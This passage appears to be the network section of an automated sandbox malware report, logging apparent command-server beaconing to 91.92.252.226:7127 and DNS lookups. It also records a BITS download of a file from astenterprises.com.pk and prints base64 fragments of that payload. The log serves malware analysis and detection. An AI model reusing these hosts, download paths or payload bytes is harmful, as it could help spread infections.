Dec 19, 2024 12:38:04.204511881 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.204677105 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.222160101 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.222253084 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.240082026 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.240169048 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.263927937 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.264008045 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.376147985 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.376424074 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.388851881 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.388974905 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.398530960 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.398623943 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.409529924 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.409626007 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.416029930 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.416142941 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.422461987 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.422558069 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.431425095 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.431545973 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.437539101 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.437810898 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.444454908 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.444555044 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.450730085 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.450824976 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.459815025 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.459960938 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.498488903 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.498610973 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.504627943 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.504734993 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.569186926 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.569463015 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.573921919 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.574018955 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.615206003 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.615444899 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.620584011 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.620709896 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.628060102 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.628154993 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.687098980 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.687324047 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.692069054 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.692197084 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.694566965 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.694649935 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.697822094 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.697906971 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.701206923 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.701291084 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.704507113 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.704585075 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.708856106 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.708936930 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.712177992 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.712325096 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.716119051 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.716204882 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.719008923 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.719094038 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.723285913 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.723372936 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.758342028 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.758583069 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.762061119 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.762151003 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.804546118 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.804826975 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.809236050 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.809328079 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.817055941 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.817173958 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.823606014 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.823726892 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.828177929 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.828258038 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.837162971 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.837276936 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.844198942 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.844270945 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.851120949 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.851205111 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.858722925 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.858797073 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.861212015 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.861282110 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.867247105 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.867324114 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.873663902 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.873730898 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.881481886 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.881555080 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.888644934 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.888704062 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.896934986 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.897005081 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.952445984 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.952548981 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.954898119 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.954982996 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:04.997831106 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:04.997956991 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:05.003103971 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:05.003186941 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:05.010610104 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:05.010690928 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:05.017102003 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:05.017200947 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:05.022033930 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:05.022129059 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:05.029927969 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:05.030011892 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:05.037468910 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:05.037687063 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:05.045221090 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:05.045324087 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:05.052582026 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:05.052699089 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:05.058583975 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:05.058681011 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:05.064970016 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:05.065077066 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:05.072387934 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:05.072485924 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:05.079340935 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:05.079447031 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:05.080637932 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:05.080720901 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:05.080751896 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:05.080805063 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:05.080813885 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:05.080813885 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:05.080840111 CET	443	49781	103.120.177.150	192.168.2.7
Dec 19, 2024 12:38:05.080883980 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:05.080909967 CET	49781	443	192.168.2.7	103.120.177.150
Dec 19, 2024 12:38:16.677249908 CET	49819	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:38:16.797197104 CET	7127	49819	91.92.252.226	192.168.2.7
Dec 19, 2024 12:38:16.797327042 CET	49819	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:38:16.797463894 CET	49819	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:38:16.917061090 CET	7127	49819	91.92.252.226	192.168.2.7
Dec 19, 2024 12:38:21.726268053 CET	49819	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:38:21.886487961 CET	7127	49819	91.92.252.226	192.168.2.7
Dec 19, 2024 12:38:26.728446960 CET	49842	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:38:26.848107100 CET	7127	49842	91.92.252.226	192.168.2.7
Dec 19, 2024 12:38:26.848236084 CET	49842	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:38:26.848438025 CET	49842	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:38:26.968009949 CET	7127	49842	91.92.252.226	192.168.2.7
Dec 19, 2024 12:38:31.729083061 CET	49842	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:38:31.890944004 CET	7127	49842	91.92.252.226	192.168.2.7
Dec 19, 2024 12:38:36.739686012 CET	49868	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:38:36.859843016 CET	7127	49868	91.92.252.226	192.168.2.7
Dec 19, 2024 12:38:36.859930038 CET	49868	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:38:36.860107899 CET	49868	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:38:36.979815960 CET	7127	49868	91.92.252.226	192.168.2.7
Dec 19, 2024 12:38:38.701857090 CET	7127	49819	91.92.252.226	192.168.2.7
Dec 19, 2024 12:38:38.707077026 CET	49819	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:38:41.760687113 CET	49868	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:38:41.922924042 CET	7127	49868	91.92.252.226	192.168.2.7
Dec 19, 2024 12:38:46.770941019 CET	49893	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:38:46.890921116 CET	7127	49893	91.92.252.226	192.168.2.7
Dec 19, 2024 12:38:46.891099930 CET	49893	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:38:46.891321898 CET	49893	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:38:47.013654947 CET	7127	49893	91.92.252.226	192.168.2.7
Dec 19, 2024 12:38:48.733141899 CET	7127	49842	91.92.252.226	192.168.2.7
Dec 19, 2024 12:38:48.733274937 CET	49842	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:38:51.790852070 CET	49893	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:38:51.954583883 CET	7127	49893	91.92.252.226	192.168.2.7
Dec 19, 2024 12:38:56.786609888 CET	49918	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:38:56.906692028 CET	7127	49918	91.92.252.226	192.168.2.7
Dec 19, 2024 12:38:56.906924963 CET	49918	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:38:56.907095909 CET	49918	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:38:57.030926943 CET	7127	49918	91.92.252.226	192.168.2.7
Dec 19, 2024 12:38:58.780507088 CET	7127	49868	91.92.252.226	192.168.2.7
Dec 19, 2024 12:38:58.780797958 CET	49868	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:39:01.806513071 CET	49918	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:39:01.970406055 CET	7127	49918	91.92.252.226	192.168.2.7
Dec 19, 2024 12:39:06.830929995 CET	49938	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:39:06.950670958 CET	7127	49938	91.92.252.226	192.168.2.7
Dec 19, 2024 12:39:06.950896025 CET	49938	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:39:06.951025009 CET	49938	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:39:07.073002100 CET	7127	49938	91.92.252.226	192.168.2.7
Dec 19, 2024 12:39:08.780149937 CET	7127	49893	91.92.252.226	192.168.2.7
Dec 19, 2024 12:39:08.780318022 CET	49893	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:39:11.837578058 CET	49938	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:39:11.999265909 CET	7127	49938	91.92.252.226	192.168.2.7
Dec 19, 2024 12:39:16.833815098 CET	49960	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:39:16.953243017 CET	7127	49960	91.92.252.226	192.168.2.7
Dec 19, 2024 12:39:16.953466892 CET	49960	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:39:16.953732014 CET	49960	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:39:17.073195934 CET	7127	49960	91.92.252.226	192.168.2.7
Dec 19, 2024 12:39:18.796078920 CET	7127	49918	91.92.252.226	192.168.2.7
Dec 19, 2024 12:39:18.796125889 CET	49918	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:39:21.838476896 CET	49960	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:39:22.002284050 CET	7127	49960	91.92.252.226	192.168.2.7
Dec 19, 2024 12:39:26.849154949 CET	49984	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:39:26.968669891 CET	7127	49984	91.92.252.226	192.168.2.7
Dec 19, 2024 12:39:26.968750954 CET	49984	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:39:26.968925953 CET	49984	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:39:27.088463068 CET	7127	49984	91.92.252.226	192.168.2.7
Dec 19, 2024 12:39:28.859298944 CET	7127	49938	91.92.252.226	192.168.2.7
Dec 19, 2024 12:39:28.859369993 CET	49938	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:39:31.869299889 CET	49984	7127	192.168.2.7	91.92.252.226
Dec 19, 2024 12:39:32.030292988 CET	7127	49984	91.92.252.226	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 12:37:32.179490089 CET	60226	53	192.168.2.7	1.1.1.1
Dec 19, 2024 12:37:32.317847013 CET	53	60226	1.1.1.1	192.168.2.7
Dec 19, 2024 12:37:59.427611113 CET	53838	53	192.168.2.7	1.1.1.1
Dec 19, 2024 12:38:00.442461967 CET	53838	53	192.168.2.7	1.1.1.1
Dec 19, 2024 12:38:00.691883087 CET	53	53838	1.1.1.1	192.168.2.7
Dec 19, 2024 12:38:00.691914082 CET	53	53838	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 19, 2024 12:37:32.179490089 CET	192.168.2.7	1.1.1.1	0x28b0	Standard query (0)	www.astenterprises.com.pk	A (IP address)	IN (0x0001)	false
Dec 19, 2024 12:37:59.427611113 CET	192.168.2.7	1.1.1.1	0xa7e6	Standard query (0)	www.royalengineeringllc.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 12:38:00.442461967 CET	192.168.2.7	1.1.1.1	0xa7e6	Standard query (0)	www.royalengineeringllc.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 19, 2024 12:37:32.317847013 CET	1.1.1.1	192.168.2.7	0x28b0	No error (0)	www.astenterprises.com.pk	astenterprises.com.pk		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 12:37:32.317847013 CET	1.1.1.1	192.168.2.7	0x28b0	No error (0)	astenterprises.com.pk		107.161.23.150	A (IP address)	IN (0x0001)	false
Dec 19, 2024 12:38:00.691883087 CET	1.1.1.1	192.168.2.7	0xa7e6	No error (0)	www.royalengineeringllc.com	royalengineeringllc.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 12:38:00.691883087 CET	1.1.1.1	192.168.2.7	0xa7e6	No error (0)	royalengineeringllc.com		103.120.177.150	A (IP address)	IN (0x0001)	false
Dec 19, 2024 12:38:00.691914082 CET	1.1.1.1	192.168.2.7	0xa7e6	No error (0)	www.royalengineeringllc.com	royalengineeringllc.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 12:38:00.691914082 CET	1.1.1.1	192.168.2.7	0xa7e6	No error (0)	royalengineeringllc.com		103.120.177.150	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.astenterprises.com.pk

www.royalengineeringllc.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49711	107.161.23.150	443	7896	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 11:37:33 UTC	162	OUT	HEAD /ms/Nonn215.prm HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: www.astenterprises.com.pk
2024-12-19 11:37:34 UTC	404	IN	HTTP/1.1 200 OK Connection: close content-type: application/octet-stream last-modified: Mon, 05 Feb 2024 16:17:14 GMT accept-ranges: bytes content-length: 418368 date: Thu, 19 Dec 2024 11:37:33 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49717	107.161.23.150	443	7896	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 11:37:35 UTC	213	OUT	GET /ms/Nonn215.prm HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Mon, 05 Feb 2024 16:17:14 GMT User-Agent: Microsoft BITS/7.8 Host: www.astenterprises.com.pk
2024-12-19 11:37:35 UTC	404	IN	HTTP/1.1 200 OK Connection: close content-type: application/octet-stream last-modified: Mon, 05 Feb 2024 16:17:14 GMT accept-ranges: bytes content-length: 418368 date: Thu, 19 Dec 2024 11:37:35 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-12-19 11:37:35 UTC	16384	IN	Data Raw: 36 77 4c 35 6d 48 45 42 6d 37 75 71 41 68 77 41 36 77 4b 49 65 33 45 42 6d 77 4e 63 4a 41 52 78 41 5a 76 72 41 69 56 4f 75 53 31 34 32 46 35 78 41 5a 76 72 41 6f 6a 5a 67 65 6d 74 6f 35 38 49 63 51 47 62 63 51 47 62 67 65 6d 41 31 44 68 57 63 51 47 62 36 77 4a 46 6b 75 73 43 6d 54 39 78 41 5a 75 36 35 76 7a 43 4a 75 73 43 6c 37 72 72 41 6c 67 61 36 77 4a 30 61 33 45 42 6d 7a 48 4b 63 51 47 62 63 51 47 62 69 52 51 4c 63 51 47 62 36 77 4c 4b 69 64 48 69 63 51 47 62 63 51 47 62 67 38 45 45 36 77 4b 79 68 33 45 42 6d 34 48 35 46 67 42 2b 41 33 7a 4e 63 51 47 62 36 77 4c 33 4e 59 74 45 4a 41 52 78 41 5a 76 72 41 6a 30 4e 69 63 50 72 41 75 4a 4b 63 51 47 62 67 63 50 76 57 2b 59 41 36 77 4b 64 6f 4f 73 43 70 4c 43 36 74 4f 72 5a 69 4f 73 43 72 63 66 72 41 6b 64 Data Ascii: 6wL5mHEBm7uqAhwA6wKIe3EBmwNcJARxAZvrAiVOuS142F5xAZvrAojZgemto58IcQGbcQGbgemA1DhWcQGb6wJFkusCmT9xAZu65vzCJusCl7rrAlga6wJ0a3EBmzHKcQGbcQGbiRQLcQGb6wLKidHicQGbcQGbg8EE6wKyh3EBm4H5FgB+A3zNcQGb6wL3NYtEJARxAZvrAj0NicPrAuJKcQGbgcPvW+YA6wKdoOsCpLC6tOrZiOsCrcfrAkd
2024-12-19 11:37:36 UTC	16384	IN	Data Raw: 6f 63 2b 35 79 68 76 6b 43 4d 31 58 73 6d 49 34 5a 4c 37 4e 55 56 76 4a 73 31 7a 50 4e 70 49 57 44 57 31 52 62 63 78 6f 42 66 61 2f 64 44 42 4e 67 59 45 50 4f 61 51 4c 58 55 49 56 68 46 4a 44 43 6c 4a 53 51 77 70 53 55 6b 4d 4b 55 6c 4b 33 62 39 47 49 74 67 4b 51 57 6b 4d 46 59 6b 4c 49 43 6c 4a 53 51 77 70 53 55 6b 4d 4b 55 6c 4a 44 43 71 7a 6c 49 72 74 7a 64 6f 66 57 6c 36 56 38 70 67 48 70 50 66 49 43 43 73 4c 68 75 71 34 62 48 4e 4f 68 6b 30 52 53 43 73 4c 68 46 76 6e 68 43 74 4f 35 51 51 4d 48 53 78 53 57 32 37 56 4b 46 63 39 71 67 6e 42 42 37 37 50 32 38 6d 4e 69 5a 6f 61 6b 79 38 4d 41 63 39 4c 45 72 67 32 7a 50 35 47 6e 35 56 74 6c 68 76 46 56 71 67 6c 37 2f 67 33 58 6d 6c 48 5a 42 32 64 59 36 42 68 70 64 70 33 54 73 56 58 57 37 52 69 4c 6f 4a 64 Data Ascii: oc+5yhvkCM1XsmI4ZL7NUVvJs1zPNpIWDW1RbcxoBfa/dDBNgYEPOaQLXUIVhFJDClJSQwpSUkMKUlK3b9GItgKQWkMFYkLIClJSQwpSUkMKUlJDCqzlIrtzdofWl6V8pgHpPfICCsLhuq4bHNOhk0RSCsLhFvnhCtO5QQMHSxSW27VKFc9qgnBB77P28mNiZoaky8MAc9LErg2zP5Gn5VtlhvFVqgl7/g3XmlHZB2dY6Bhpdp3TsVXW7RiLoJd
2024-12-19 11:37:36 UTC	16384	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 4a 36 34 33 55 74 34 6a 52 33 38 63 36 62 77 68 38 46 2f 76 30 41 58 6a 58 7a 4c 4e 52 79 47 36 36 57 58 53 76 47 43 41 57 58 79 76 42 4b 39 4c 67 45 75 31 6c 77 41 37 75 62 53 4e 38 49 6d 64 6a 68 61 66 30 7a 54 64 79 35 31 51 4e 50 6d 32 39 66 52 43 31 4a 53 79 74 49 45 37 44 36 79 39 35 2f 43 2f 49 76 77 6b 71 54 54 76 4f 63 54 4a 6a 45 55 6c 74 75 31 53 6a 33 50 31 37 78 2f 53 50 41 42 73 64 6b 6e 6b 6c 70 5a 45 51 7a 4e 66 55 59 35 77 61 38 4a 76 4a 55 54 54 32 76 42 48 79 58 64 51 31 66 58 6d 56 58 36 32 42 31 61 41 4f 69 65 78 51 2b 6d 77 76 68 46 64 49 6c 65 30 35 43 6f 6b 78 4a 33 77 75 41 49 4c 35 76 50 32 30 43 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJ643Ut4jR38c6bwh8F/v0AXjXzLNRyG66WXSvGCAWXyvBK9LgEu1lwA7ubSN8Imdjhaf0zTdy51QNPm29fRC1JSytIE7D6y95/C/IvwkqTTvOcTJjEUltu1Sj3P17x/SPABsdknklpZEQzNfUY5wa8JvJUTT2vBHyXdQ1fXmVX62B1aAOiexQ+mwvhFdIle05CokxJ3wuAIL5vP20C
2024-12-19 11:37:36 UTC	16384	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 64 55 33 4b 72 55 6c 4a Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABdU3KrUlJ
